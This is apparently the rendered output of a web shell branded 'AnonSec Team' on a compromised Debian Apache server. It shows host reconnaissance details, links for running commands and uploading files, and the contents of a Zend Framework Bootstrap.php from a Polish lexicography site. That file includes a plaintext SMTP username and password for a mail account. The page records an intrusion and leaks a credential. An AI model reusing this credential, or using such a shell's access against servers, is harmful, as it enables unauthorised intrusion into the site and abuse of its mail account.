AnonSec Team
Server IP : 10.2.73.233  /  Your IP : 216.73.216.59
Web Server : Apache/2.4.59 (Debian)
System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : www-data ( 33)
PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/ilpnowa/../leksykografia/application/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/ilpnowa/../leksykografia/application/Bootstrap.php
<?php

class Bootstrap extends Zend_Application_Bootstrap_Bootstrap
{

	protected function _initDoctype()
	{
		$this->bootstrap('view');
		$view = $this->getResource('view');
		$view->doctype('XHTML1_STRICT');

	}
	
    protected function _initLocale()
	{
		$locale = new Zend_Locale();
		$locale->setDefault("pl");
		$locale->setLocale("pl");
		setlocale(LC_ALL, 'pl_PL.UTF-8','pl_PL', 'pl', 'Polish_Poland.28592');
		Zend_Registry::set('Zend_Locale', $locale);

	}
	
	
	
    protected function _initRouter()
    {
        $frontController = Zend_Controller_Front::getInstance();
        $router = $frontController->getRouter();
        
        
        $config = new Zend_Config_Ini(APPLICATION_PATH . '/configs/routes.ini', 'production');
        $router = new Zend_Controller_Router_Rewrite();
        $router->addConfig($config, 'routes');
        $frontController->setRouter($router);
        
    }
    
    protected function _initSession()
    {
    	if( ! Zend_Session::isStarted() )
    	{
    		Zend_Session::start();
    
    	}
    }
    
    protected function _initMail()
    {
    	$tr = new Zend_Mail_Transport_Smtp('imagofilm.home.pl', array(
            'auth' => 'login',
            'username' => 'sklep@imagofilm.pl',
            'password' => 'polisa12',
            'ssl' => 'ssl',
            'port' => 465)
    	);
    	Zend_Mail::setDefaultTransport( new Zend_Mail_Transport_Sendmail());
    }
    
    

}


AnonSec - 2021